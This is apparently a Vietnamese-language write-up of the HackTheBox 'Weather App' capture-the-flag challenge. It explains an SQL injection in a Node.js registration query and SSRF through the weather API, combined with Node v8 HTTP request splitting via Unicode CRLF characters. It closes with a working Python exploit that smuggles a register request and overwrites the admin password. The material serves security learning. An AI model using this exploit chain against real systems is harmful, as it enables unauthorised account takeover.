Try   HackMD

Wheather App HackTheBox Writeup

Tóm tắt challenge

  • Đây là một trang web viết bằng Node.js.
  • Có 4 router (index,register,login,/api/wheather) ở routes/index.js
  • Ở trong file database.js thực hiện một số chức năng:
    Tạo bảng users có 3 cột: id,username, password.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

    Và đã được thêm sẵn một user có giá trị admin và password random 32 byte. Nên việc bruteforce để tìm pass là không khả thi.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

    Tiếp đến là có một hàm isAdmin, ở câu Query đặt ? để chèn các tham số vào.
    Nên không thể Sqli ở đây.
    Ngược lại thì hàm Register lại sử dụng câu Query nối chuỗi.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

Ý tưởng

Vậy ý tưởng ở đây là có thể mình sẽ sử dụng chức năng đăng ký để tạo một tài khoản username = admin. Sau đó login để lấy flag.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Lưu ý là username admin đã được tạo sẵn, và cột username lại ràng buộc Unique, nghĩa là trong cột đó không thể tạo thêm một username giá trị = admin được.
Nhưng trong Sqlite có câu lệnh INSERT ON CONFLICT cho phép cập nhật một hàng đã tạo ra trong bảng.
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

INSERT INTO demo (id,name, hint) VALUES (2,'SQL Online', 'abc') ON CONFLICT(id) DO UPDATE SET hint = 'test';
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Vậy việc SQli ở phần Register đã được giải quyết. Tuy nhiên lúc vào trang đăng ký lại không thành công.
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Kiểm tra lại ở index.js thì thấy đoạn sau:
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Có nghĩa là chỉ được thực hiện việc đăng ký từ ip của localhost 127.0.0.1.
Khả năng sẽ liên quan tới SSRF.

Tiếp theo có một phần chức năng trong trang web đó chính là thời tiết

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`)

Hàm getWeather() nhận 3 tham số endpoint, city, country từ static/js/main.js

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

SSRF

Để thực hiện SQLi register từ ip 127.0.0.1 ta sẽ lợi dụng từ việc trang web get api để lấy thông tin thời tiết.
"nodeVersion": "v8.12.0" Trang web được viết bằng Nodejs ver 8.
Có một lỗ hổng SSRF kết hợp với lỗi CRLF (HTTP request splitting) ở version này.
Link bài viết

Giải thích về lỗ hổng:

HTTP request splitting:

Response splitting (a.k.a CRLF injection) là một kỹ thuật khai thác web phổ biến. Kẻ tấn công gửi đi dữ liệu được encode, nằm trong một vài tham số của request, dữ liệu này sau đó được decode và lặp lại trong một trường nào đó của response header.

Nếu dữ liệu này là một ký hiệu thể hiện sự kết thúc của response, và một response tiếp theo được bắt đầu, response ban đầu sẽ bị chia tách thành hai và nội dung của response thứ hai sẽ bị điều khiển bởi kẻ tấn công. Kẻ tấn công sau đó có thể tạo một request khác trong cùng một kết nối liên tục, và lừa người nhận (bao gồm cả các yếu tố trung gian) tin rằng response thứ hai này là để trả lời cho request thứ hai.

Đọc qua bài blog:
Đầu tiên request đường dẫn là một dạng chuỗi. Sau đó Nodejs chuyển chuỗi đó qua chuỗi byte.
Đối với phần header thì mặc định nodejs sẽ sử dụng "latin1" để decode. Tuy nhiên đối với những ký tự có unicode lớn. Nó sẽ cắt bớt byte, để biểu diễn

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Vì vậy, nếu chúng ta chèn một số ký tự Unicode như '\u010D' hoặc '\u010A', chúng sẽ bị cắt bớt và được chuyển đổi thành '\r' và '\n'. Vì các ký tự Unicode đó không phải là các ký tự điều khiển HTTP nên có thể sử dụng.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Với ý tưởng như vậy:

import requests url = "http://209.97.179.123:32741/api/weather" username = "admin" password = "admin') ON CONFLICT(username) DO UPDATE SET password = 'admin';--" parsedUser = username.replace(" ", "\u0120").replace("'", "%27").replace('"',"%22") parsedPass = password.replace(" ", "\u0120").replace("'", "%27").replace('"',"%22") contentLength = len(parsedUser) + len(parsedPass) + 20 test = "localhost/abc\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010A" test = test + "Content-Length:\u0120" + str(contentLength) + "\u010D\u010A\u010D\u010A" test = test + f"username={parsedUser}&password={parsedPass}" + "\u010D\u010A\u010D\u010AGET\u0120/?q=" r = requests.post(url = url, json={'endpoint': test, 'city': 'Da Nang','country': 'VN'})